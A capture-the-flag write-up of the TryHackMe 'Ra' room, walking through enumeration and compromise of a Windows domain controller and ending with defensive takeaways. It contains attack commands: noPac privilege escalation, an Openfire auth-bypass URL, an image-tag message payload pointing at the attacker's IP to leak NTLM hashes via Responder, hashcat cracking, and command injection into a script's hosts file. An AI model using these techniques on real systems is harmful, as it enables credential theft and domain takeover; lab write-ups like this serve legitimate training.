This TryHackMe room can be found here.
Recon
Starting off with a nmap scan, we can see that this box has a lot of open ports:
1
nmap -p- -oN allportscan -sS -sC 10.10.148.56
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
Nmap scan report for 10.10.148.56
Host is up (0.093s latency).
Not shown: 65498 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
|_http-title: Windcorp.
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
|_ssl-date: 2023-10-16T17:54:51+00:00; 0s from scanner time.
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
| Negotiate
|_ NTLM
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=Windows Admin Center
| Subject Alternative Name: DNS:WIN-2FAA40QQ70B
| Not valid before: 2020-04-30T14:41:03
|_Not valid after: 2020-06-30T14:41:02
|_http-title: Site doesn't have a title.
| http-ntlm-info:
| Target_Name: WINDCORP
| NetBIOS_Domain_Name: WINDCORP
| NetBIOS_Computer_Name: FIRE
| DNS_Domain_Name: windcorp.thm
| DNS_Computer_Name: Fire.windcorp.thm
| DNS_Tree_Name: windcorp.thm
|_ Product_Version: 10.0.17763
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2179/tcp open vmrdp
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
| rdp-ntlm-info:
| Target_Name: WINDCORP
| NetBIOS_Domain_Name: WINDCORP
| NetBIOS_Computer_Name: FIRE
| DNS_Domain_Name: windcorp.thm
| DNS_Computer_Name: Fire.windcorp.thm
| DNS_Tree_Name: windcorp.thm
| Product_Version: 10.0.17763
|_ System_Time: 2023-10-16T17:54:52+00:00
|_ssl-date: 2023-10-16T17:54:51+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=Fire.windcorp.thm
| Not valid before: 2023-10-15T17:42:54
|_Not valid after: 2024-04-15T17:42:54
5222/tcp open xmpp-client
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after: 2025-04-30T08:39:00
| xmpp-info:
| Ignores server name
| info:
| xmpp:
| capabilities:
| pre_tls:
| xmpp:
| lang: ru-RU
| server name: fire.windcorp.thm
| version: 1.0
| capabilities:
| node: https://www.igniterealtime.org/projects/openfire/
| ver: uOb+hhpp2TnfFxh/+eoEHESc0ek=
| features:
| Roster Versioning
| TLS
| compression_methods:
| zlib
| auth_mechanisms:
| PLAIN
| post_tls:
| xmpp:
| capabilities:
| errors:
|_ (timeout)
|_ssl-date: 2023-10-16T17:55:23+00:00; 0s from scanner time.
5223/tcp open hpvirtgrp
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after: 2025-04-30T08:39:00
|_ssl-date: 2023-10-16T17:56:52+00:00; 0s from scanner time.
5229/tcp open jaxflow
5262/tcp open unknown
5263/tcp open unknown
|_ssl-date: 2023-10-16T17:56:55+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after: 2025-04-30T08:39:00
5269/tcp open xmpp-server
| xmpp-info:
| STARTTLS Failed
| info:
| xmpp:
| compression_methods:
| errors:
| (timeout)
| auth_mechanisms:
| capabilities:
| unknown:
|_ features:
5270/tcp open xmp
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after: 2025-04-30T08:39:00
|_ssl-date: 2023-10-16T17:56:54+00:00; +1s from scanner time.
5275/tcp open unknown
5276/tcp open unknown
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after: 2025-04-30T08:39:00
|_ssl-date: 2023-10-16T17:56:56+00:00; +1s from scanner time.
5985/tcp open wsman
7070/tcp open realserver
7443/tcp open oracleas-https
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after: 2025-04-30T08:39:00
7777/tcp open cbt
9090/tcp open zeus-admin
9091/tcp open xmltec-xmlmail
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after: 2025-04-30T08:39:00
9389/tcp open adws
49670/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49676/tcp open unknown
49745/tcp open unknown
49897/tcp open unknown
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-10-16T17:54:53
|_ start_date: N/A
# Nmap done at Mon Oct 16 13:56:59 2023 -- 1 IP address (1 host up) scanned in 806.76 seconds
From the Nmap output, we know the following:
- The box is a domain controller due to ports such as 53, 88, etc. being open
- A web server is running on port 80 and 443 that we can further enumerate
- We need to edit our
/etc/hosts
file to pointwindcorp.thm
andfire.windcorp.thm
to the box’s IP address:
- Port 5985 is open, so we may be able to use winrm once we get creds for a quick shell
- An XMPP node is running the host
- There’s probably another webserver on the higher-ports (9090, 9091, etc.)
Web Enumeration
After adding the DNS entries to /etc/hosts
, I navigated to fire.windcorp.thm. When hitting port 443 we get a basic auth prompt (strange), but port 80 gives us a webpage:
This is an application for a “company portal”. After directory fuzzing with gobuster, the only functionality on the site is a “Reset password” link. When clicking, we get a prompt to enter a username, security question, and answer:
On the site, we can also see names of company employees. Buse Candon is shown to be on IM:
Looking at the HTML, we can see the employees active directory usernames:
Rabbit Hole - Openfire Admin Console
After a quick look at the site on port 80, I shifted focus to the other open ports. On port 5222, an Openfire Admin console was found:
After searching the version number (v4.5.1), there was a known authentication bypass vulnerability. The initial test showed the box was vulnerable by browsing to http://fire.windcorp.thm:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
:
After using this tool and manually exploiting the vuln with Burp, it appeared that I was able to add an admin user, but attempts to login failed. At this point, I figured this was a rabbit hole, and moved on.
Flag 1
After enumerating the other ports, I decided to go back to port 80 and look at the main site again. When looking at the html, I noticed that one of the images was named “lilyleAndSparky.jpg”:
I realized that this may be an answer to a password reset secret, but wasn’t sure if lilyle
was a username since it wasn’t listed in the above HTML. After trying, it worked and we gained our first set of credentials:
Using CrackMapExec, the creds were verified to work in AD and the shares were listed:
Unintended Path to DA - NOPAC
After getting a valid AD account, I first searched for easy wins and found that the DC was missing patches for CVE-2021-42278 and CVE-2021-42287:
1
crackmapexec smb fire.windcorp.thm -u lilyle -p <password> -M nopac
When testing an environment, if you see a single Domain Controller with these patches missing, any standard user can elevate to DA and own a domain in seconds. This attack chain takes advantage of two CVE’s:
- CVE-2021-42278: Sam Account Name Spoofing
- By default, any user can add up to 10 computers to AD (SeMachineAccountPrivilege). These computer accounts end with a trailing
$
such asdc1$
. - Prior to the patch, there was no validation that a computer account’s SamAccountName ended with a
$
.
- By default, any user can add up to 10 computers to AD (SeMachineAccountPrivilege). These computer accounts end with a trailing
- CVE-2021-42287: KDC Confusion
- Anytime a service ticket is requested by the KDC, the client first has to present a TGT.
- After the client presents their TGT and requests a service ticket, it is searched for by the KDC. If the account is not found, the KDC searches again using a trailing
$
(for computer accounts).
Combining these two CVE’s, we can do the following with a standard user account:
- Add a computer account to the domain
- Clear the servicePrincipalName attribute of the added account
- Change its SamAccountName to a domain controller without the
$
- Ex:
dc1$
->dc1
- Ex:
- Request a TGT for the computer we control
- Change the SamAccountName to another value
- Request a service ticket using S4U2self with the TGT obtained before. Once we have this service ticket, its game over.
The above steps have been automated in a tool called NOPAC.
1
python3 noPac.py windcorp.thm/lilyle:<credentials> -dc-ip <ip of target> -use-ldap
After running the tool, domain hashes were dumped. The tool also gives us .ccache files for privileged accounts. .ccache files are credential cache’s that hold Kerberos creds. These can be used with our tools to authenticate in the domain through Kerberos. First we need to set KRB5CCNAME environment variable to point to our .ccache:
1
export KRB5CCNAME=/home/kali/thm/ra/noPac/<.ccache file>
Now we can authenticate as an admin with tools such as the impacket suite (with the -k flag) or crackmapexec (–use-kcache flag) using Kerberos:
Intended Path to Flag 1
After having creds, we can see that we have read access over the share: Shared
Investigating the share using smbclient, we found the first flag:
1
smbclient \\\\fire.windcorp.thm\\Shared -U lilyle
Flag 2
Along with Flag 1.txt
, there are four other installation files for Spark_2_8_3. A quick google search tells us that this is a messaging client and there’s a known vulnerability where NTLM hashes can be leaked. Because of this, I decided to grab the .deb and install Spark.
Because the files were large, smbclient kept failing when attempting to download. Mounting the share then copying spark_2_8_3.deb worked for me.
After grabbing the .deb I ran into some dependency issues. I had to update my JAVA_HOME environment variable to point to Java-1.8.0. After this, I was able to install the .deb and open Spark:
Logging in with lilyle’s credentials failed due to certificate issues. These were bypassed within the Advanced
options:
Now that we are logged in, we can try to leak NTLM hashes by messaging users. During initial enumeration, we saw that user Buse Candon - buse@fire.windcorp.tmh
was online so this was my first target:
Responder was started and the message was sent:
1
sudo responder -I eth0
1
Hash Please <img src="http://<yourip>/hash.png">
After saving the hash, it was quickly cracked with hashcat:
1
sudo hashcat -m 5600 buse.hash /usr/share/wordlists/rockyou.txt
Using CrackMapExec, we see that windcorp.thm\buse user has winrm privs. We can use evil-winrm to get a shell or smbclient to access the box and grab the flag:
Flag 3
Basic enumeration of the host as buse
, showed several images and notes in their home directory but no credentials. Checking our groups with whoami /groups
told us that we were in the privileged Account Operators
group. This group has the ability to add and modify most accounts in AD (excluding privileged objects such as Domain Admins). This means that we can change any user’s password and login as them.
Browsing the filesystem, there is a directory called C:\scripts
that contains two files:
- checkservers.ps1
- log.txt
checkservers.ps1 has the following contents:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# reset the lists of hosts prior to looping
$OutageHosts = $Null
# specify the time you want email notifications resent for hosts that are down
$EmailTimeOut = 30
# specify the time you want to cycle through your host lists.
$SleepTimeOut = 45
# specify the maximum hosts that can be down before the script is aborted
$MaxOutageCount = 10
# specify who gets notified
$notificationto = "brittanycr@windcorp.thm"
# specify where the notifications come from
$notificationfrom = "admin@windcorp.thm"
# specify the SMTP server
$smtpserver = "relay.windcorp.thm"
# start looping here
Do{
$available = $Null
$notavailable = $Null
Write-Host (Get-Date)
# Read the File with the Hosts every cycle, this way to can add/remove hosts
# from the list without touching the script/scheduled task,
# also hash/comment (#) out any hosts that are going for maintenance or are down.
get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_ -match "#")} |
ForEach-Object {
$p = "Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue"
Invoke-Expression $p
if($p)
{
# if the Host is available then just write it to the screen
write-host "Available host ---> "$_ -BackgroundColor Green -ForegroundColor White
[Array]$available += $_
}
else
{
# If the host is unavailable, give a warning to screen
write-host "Unavailable host ------------> "$_ -BackgroundColor Magenta -ForegroundColor White
$p = Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue
if(!($p))
{
# If the host is still unavailable for 4 full pings, write error and send email
write-host "Unavailable host ------------> "$_ -BackgroundColor Red -ForegroundColor White
[Array]$notavailable += $_
if ($OutageHosts -ne $Null)
{
if (!$OutageHosts.ContainsKey($_))
{
# First time down add to the list and send email
Write-Host "$_ Is not in the OutageHosts list, first time down"
$OutageHosts.Add($_,(get-date))
$Now = Get-date
$Body = "$_ has not responded for 5 pings at $Now"
Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
-Subject "Host $_ is down" -SmtpServer $smtpserver
}
else
{
# If the host is in the list do nothing for 1 hour and then remove from the list.
Write-Host "$_ Is in the OutageHosts list"
if (((Get-Date) - $OutageHosts.Item($_)).TotalMinutes -gt $EmailTimeOut)
{$OutageHosts.Remove($_)}
}
}
else
{
# First time down create the list and send email
Write-Host "Adding $_ to OutageHosts."
$OutageHosts = @{$_=(get-date)}
$Body = "$_ has not responded for 5 pings at $Now"
Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
-Subject "Host $_ is down" -SmtpServer $smtpserver
}
}
}
}
# Report to screen the details
$log = "Last run: $(Get-Date)"
write-host $log
Set-Content -Path C:\scripts\log.txt -Value $log
Write-Host "Available count:"$available.count
Write-Host "Not available count:"$notavailable.count
Write-Host "Not available hosts:"
$OutageHosts
Write-Host ""
Write-Host "Sleeping $SleepTimeOut seconds"
sleep $SleepTimeOut
if ($OutageHosts.Count -gt $MaxOutageCount)
{
# If there are more than a certain number of host down in an hour abort the script.
$Exit = $True
$body = $OutageHosts | Out-String
Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
-Subject "More than $MaxOutageCount Hosts down, monitoring aborted" -SmtpServer $smtpServer
}
}
while ($Exit -ne $True)
After reading the script, two lines stood out to me were:
$notificationfrom = "admin@windcorp.thm"
- This script is most likely being ran from a privileged account
1
2
3
4
get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_ -match "#")} |
ForEach-Object {
$p = "Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue"
Invoke-Expression $p
The script is looping through a list of hosts at C:\Users\brittanycr\hosts.txt
and running Test-Connection
on each one. If we can edit this file, we may be able to get privileged code execution by adding commands in this file.
A quick check showed us that we do not have privs to read the file:
However, we can change the password of brittanycr
since buse
is in the Account Operators
group:
1
net user brittanycr <new password> /domain
After changing the password for brittancycr
, we can mount the Users
share and access the hosts.txt
file. It was changed to add a local admin to the machine:
After waiting some time, the script ran and the user was added as an administrator:
And we could now grab Flag 3.txt
from the Administrator’s desktop:
Real World Takeaways
Even though this was a CTF and the comments below were intended, it’s important to note how they apply to real world
- Having a list of domain users is valuable. On this domain, we were able to target a valid user for leaking hashes. A valid user list could also allow us to:
- Brute force creds
- Obtain hashes through AS-REP Roasting
- Social engineer users
- Don’t run non-needed services such as IIS on privileged hosts. Keep the attack surface to a minimum
- Patch patch patch. The NOPAC example shows how a single unpatched DC can lead to a full domain compromise
- Enforce password complexity. Hashes were cracked in seconds